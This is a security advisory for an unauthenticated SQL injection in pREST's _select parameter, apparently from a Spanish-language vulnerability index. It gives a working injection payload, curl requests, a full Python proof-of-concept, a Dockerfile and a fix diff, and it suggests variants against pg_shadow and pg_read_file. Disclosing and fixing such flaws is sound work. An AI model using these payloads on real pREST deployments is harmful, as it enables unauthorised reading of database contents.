GHSA-RHFR-5RF5-F2H5
SQL Injection via `_select` Raw Quoted Expression Bypass in pREST SelectFields
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-RHFR-5RF5-F2H5 divulgada · CVSS 7.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
SQL Injection via `_select` Raw Quoted Expression Bypass in pREST SelectFields
Summary
pREST's `SelectFields` function in `adapters/postgres/postgres.go` contains a SQL injection vulnerability triggered through the `_select` HTTP query parameter. When a field value matches `groupRegex` (`"(.+?)"`), it is appended directly into the SQL SELECT clause without calling `ident.IsValid()` or `ident.Quote()`, bypassing all identifier sanitization. An unauthenticated remote attacker can craft a `_select` value that closes the inner subquery early and redirects the SELECT to an arbitrary database table, leaking data that the pREST database user can access. The default configuration (`auth.enabled=false`) makes this exploitable with no credentials.
Details
The vulnerable code is located in `adapters/postgres/postgres.go` at lines 956–959:
// adapters/postgres/postgres.go:276
groupRegex = regexp.MustCompile(`\"(.+?)\"`)
// adapters/postgres/postgres.go:956-959
isFunction, _ := regexp.MatchString(groupRegex.String(), field)
if isFunction {
aux = append(aux, field) // raw field appended — no sanitization
continue
}
if !ident.IsValid(field) {
err = errors.Wrapf(ErrInvalidIdentifier, "%s", field)
return
}The `groupRegex` branch was intended to allow function-like expressions such as `SUM("salary")`, but any string containing at least one double-quoted substring matches. This allows an attacker to supply an entire SQL fragment — including subquery-closing parentheses and comment characters — as a valid `_select` value.
The full data-flow from source to sink:
- `router/router.go:61` — registers `GET /{database}/{schema}/{table}` to `h.CRUD.Select` (no authentication by default).
- `adapters/postgres/postgres.go:1919–1929` (`columnsByRequest`) — reads `_select` from `r.URL.Query()` and returns values verbatim.
- `adapters/postgres/postgres.go:1852–1865` (`FieldsPermissions`) — when `access.restrict=false` (default), returns raw column list without filtering.
- `adapters/postgres/postgres.go:956–959` (`SelectFields`) — the `groupRegex` branch appends the attacker-controlled string directly to `aux`.
- `adapters/postgres/postgres.go:971–972` — `sql = fmt.Sprintf("SELECT %s FROM", strings.Join(aux, ","))` embeds the raw field.
- `adapters/postgres/postgres.go:1045–1048` — `SQL = fmt.Sprintf("SELECT %s(s) FROM (%s) s", adapter.cfg.JSONAggType, SQL)` wraps the fragment; `adapter.Prepare(db, SQL)` executes it (sink).
The injected payload `"id" FROM "public"."secret") s --` produces the following SQL on the wire:
SELECT jsonb_agg(s) FROM (
SELECT "id" FROM "public"."secret") s -- FROM "prest"."public"."safe"
) sThe SQL comment (`--`) discards the legitimate `FROM` clause, causing the query to return rows from `public.secret` instead of `public.safe`.
PoC
Prerequisites:
- Docker installed.
- pREST source at commit `ee4a754` (default `auth.enabled=false`, `access.restrict=false`).
- Two tables in the `prest` database: `public.safe` (contains `id=999`) and `public.secret` (contains `id=1`).
Build and run the container:
docker build -f vuln-001/Dockerfile -t prest-vuln001 \
reports/github_web_178_prest__prest/
docker run -d --name prest-vuln001-run -p 13000:3000 prest-vuln001Step 1 — Control request (no injection):
curl -s 'http://127.0.0.1:13000/prest/public/safe'
# Expected: [{"id":999}]Step 2 — Injection request:
curl -s 'http://127.0.0.1:13000/prest/public/safe?_select=%22id%22%20FROM%20%22public%22.%22secret%22%29%20s%20--'
# Expected: [{"id":1}] ← data from public.secret, not public.safeDecoded payload: `"id" FROM "public"."secret") s --`
Automated verification:
python3 vuln-001/poc.py --host 127.0.0.1 --port 13000 --no-waitExpected output:
[!] EXPLOITATION CONFIRMED
Request targeted: public.safe (id=999)
Response contains: public.secret (id=1)
Injected SQL caused pREST to SELECT from the wrong table.
VULN-001 is REPRODUCIBLE.Variant: Replace `public.secret` with PostgreSQL catalog tables (e.g., `pg_shadow`, `information_schema.tables`) or use conditional `pg_sleep` calls for blind time-based extraction.
Remediation:
Remove the `groupRegex` bypass entirely. All field values should pass through `ident.IsValid` and `ident.Quote`:
--- a/adapters/postgres/postgres.go
+++ b/adapters/postgres/postgres.go
- isFunction, _ := regexp.MatchString(groupRegex.String(), field)
- if isFunction {
- aux = append(aux, field)
- continue
- }
if !ident.IsValid(field) {
err = errors.Wrapf(ErrInvalidIdentifier, "%s", field)
return
}Impact
This is an unauthenticated network-accessible SQL injection vulnerability (CWE-89). Any attacker who can reach the pREST HTTP endpoint can read arbitrary database tables and columns accessible to the configured PostgreSQL user. In the default configuration (`auth.enabled=false`, `access.restrict=false`), no credentials or prior access are required.
Depending on PostgreSQL user privileges, an attacker may also read sensitive catalog data, credentials stored in the database, or use PostgreSQL's `COPY TO` / `pg_read_file` for additional data exfiltration. The vulnerability does not directly enable writes or denial-of-service via the `_select` parameter alone, but chained with other PostgreSQL features, further impact is possible.
All users exposing pREST to any network with default settings are affected.
Reproduction artifacts
`Dockerfile`
# Dockerfile for VULN-001 reproduction: SQL Injection via _select raw quoted expression bypass
# This builds pREST from the cloned repo source and runs it alongside PostgreSQL
# in a single container for self-contained exploit demonstration.
# --- Stage 1: Build pREST binary from source ---
FROM golang:1.26-bookworm AS builder
WORKDIR /workspace
# Copy the entire cloned repo (studio/dist already present — no Node build needed)
# Build context is the parent directory: github_web_178_prest__prest/
COPY repo/ .
# Vendor dependencies and build the prestd binary
# CGO_ENABLED=1 required by pREST for sqlite3/plugin support
ENV CGO_ENABLED=1
ENV GOOS=linux
RUN apt-get update -qq && apt-get install -y --no-install-recommends gcc libc6-dev && \
rm -rf /var/lib/apt/lists/*
RUN go mod vendor && \
go build -o /usr/local/bin/prestd ./cmd/prestd/main.go
# --- Stage 2: Runtime with PostgreSQL ---
FROM debian:bookworm-slim
# Install PostgreSQL 15 and runtime deps
RUN apt-get update -qq && \
apt-get install -y --no-install-recommends \
postgresql \
postgresql-client \
curl \
ca-certificates && \
rm -rf /var/lib/apt/lists/*
# Copy the prestd binary from builder
COPY --from=builder /usr/local/bin/prestd /usr/local/bin/prestd
# pREST configuration: auth disabled (default), access.restrict=false (default)
RUN mkdir -p /app
COPY vuln-001/prest.toml /app/prest.toml
# Database initialization SQL:
# public.safe — decoy table (should contain id=999)
# public.secret — target table (attacker wants to read, contains id=1)
COPY vuln-001/init.sql /docker-entrypoint-initdb.d/init.sql
# Startup script: launch PG, seed DB, then launch prestd
COPY vuln-001/start.sh /app/start.sh
RUN chmod +x /app/start.sh
WORKDIR /app
EXPOSE 3000
CMD ["/app/start.sh"]`poc.py`
#!/usr/bin/env python3
"""
PoC for VULN-001: SQL Injection via _select raw quoted expression bypass in pREST SelectFields.
Vulnerability:
In adapters/postgres/postgres.go:956-959, when a _select field value matches
groupRegex (`"(.+?)"`), it is appended directly to the SQL SELECT clause without
calling ident.IsValid() or ident.Quote(), bypassing all sanitization.
Final SQL produced by pREST from the injected request:
SELECT jsonb_agg(s) FROM (
SELECT "id" FROM "public"."secret") s -- FROM "public"."safe"
) s
The injected fragment closes the subquery early and comments out the legitimate
table reference, causing pREST to SELECT from public.secret instead of public.safe.
Proof:
1. Control request: GET /prest/public/safe -> [{"id":999}] (normal)
2. Injection request: GET /prest/public/safe?_select=<payload> -> [{"id":1}] (from secret!)
Receiving id=1 in response to the safe-table request proves arbitrary table read.
Usage:
python3 poc.py [--host HOST] [--port PORT]
Defaults: host=127.0.0.1, port=3000
"""
import argparse
import json
import sys
import time
import urllib.parse
import urllib.request
import urllib.error
PREST_HOST = "127.0.0.1"
PREST_PORT = 3000
DB = "prest"
SCHEMA = "public"
SAFE_TABLE = "safe"
SECRET_TABLE = "secret"
SAFE_ID = 999
SECRET_ID = 1
TIMEOUT = 30 # seconds to wait for pREST to become ready
def wait_for_prest(host: str, port: int) -> None:
"""Block until pREST is accepting HTTP connections or timeout expires."""
url = f"http://{host}:{port}/"
deadline = time.time() + TIMEOUT
print(f"[*] Waiting for pREST at {url} ...")
while time.time() < deadline:
try:
urllib.request.urlopen(url, timeout=2)
print("[+] pREST is up.")
return
except urllib.error.HTTPError:
# Any HTTP response means the server is up
print("[+] pREST is up.")
return
except Exception:
time.sleep(1)
print(f"[-] pREST did not respond within {TIMEOUT}s. Aborting.", file=sys.stderr)
sys.exit(1)
def http_get(url: str) -> tuple[int, bytes]:
"""Perform an HTTP GET and return (status_code, body)."""
try:
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.status, resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def run_poc(host: str, port: int) -> int:
"""
Execute the SQL injection PoC.
Returns 0 on confirmed exploitation, 1 on failure.
"""
base = f"http://{host}:{port}"
table_path = f"/{DB}/{SCHEMA}/{SAFE_TABLE}"
# --- Step 1: Control request (no injection) ---
control_url = f"{base}{table_path}"
print(f"\n[*] Control request: GET {control_url}")
status, body = http_get(control_url)
print(f" HTTP {status}: {body.decode(errors='replace')}")
if status != 200:
print(f"[-] Control request failed (HTTP {status}). Check pREST is running correctly.")
return 1
try:
rows = json.loads(body)
except json.JSONDecodeError:
print(f"[-] Could not parse JSON: {body!r}")
return 1
if not rows or rows[0].get("id") != SAFE_ID:
print(f"[-] Control: expected id={SAFE_ID}, got: {rows}")
return 1
print(f"[+] Control: id={SAFE_ID} confirmed in public.safe (expected).")
# --- Step 2: SQL Injection request ---
# Payload: closes the subquery early, reads public.secret, comments out remaining SQL
# Decoded: "id" FROM "public"."secret") s --
# The groupRegex in SelectFields matches the first `"id"` and bypasses IsValid/Quote.
raw_payload = '"id" FROM "public"."secret") s --'
encoded_payload = urllib.parse.quote(raw_payload, safe="")
inject_url = f"{base}{table_path}?_select={encoded_payload}"
print(f"\n[*] Injection request: GET {inject_url}")
print(f" Payload (decoded): {raw_payload}")
status, body = http_get(inject_url)
print(f" HTTP {status}: {body.decode(errors='replace')}")
if status not in (200, 201):
print(f"[-] Injection request returned HTTP {status} — injection may have been blocked or errored.")
return 1
try:
rows = json.loads(body)
except json.JSONDecodeError:
print(f"[-] Could not parse JSON response: {body!r}")
return 1
# --- Step 3: Validate exploitation ---
if rows and rows[0].get("id") == SECRET_ID:
print(f"\n[!] EXPLOITATION CONFIRMED")
print(f" Request targeted: public.{SAFE_TABLE} (id={SAFE_ID})")
print(f" Response contains: public.{SECRET_TABLE} (id={SECRET_ID})")
print(f" Injected SQL caused pREST to SELECT from the wrong table.")
print(f" VULN-001 is REPRODUCIBLE.")
return 0
else:
print(f"\n[-] Injection did not produce id={SECRET_ID} from secret table.")
print(f" Got: {rows}")
print(f" VULN-001 could NOT be confirmed with this payload.")
return 1
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC for VULN-001: pREST SQL Injection via _select quoted expression bypass"
)
parser.add_argument("--host", default=PREST_HOST, help=f"pREST host (default: {PREST_HOST})")
parser.add_argument("--port", type=int, default=PREST_PORT, help=f"pREST port (default: {PREST_PORT})")
parser.add_argument("--no-wait", action="store_true", help="Skip waiting for pREST to be ready")
args = parser.parse_args()
print("=" * 60)
print("VULN-001 PoC: pREST SQL Injection via _select bypass")
print("=" * 60)
if not args.no_wait:
wait_for_prest(args.host, args.port)
exit_code = run_poc(args.host, args.port)
sys.exit(exit_code)
if __name__ == "__main__":
main()Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Versiones afectadas
ee4a754Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/prest/prest |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/prest/prest/security/advisories/GHSA-rhfr-5rf5-f2h5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
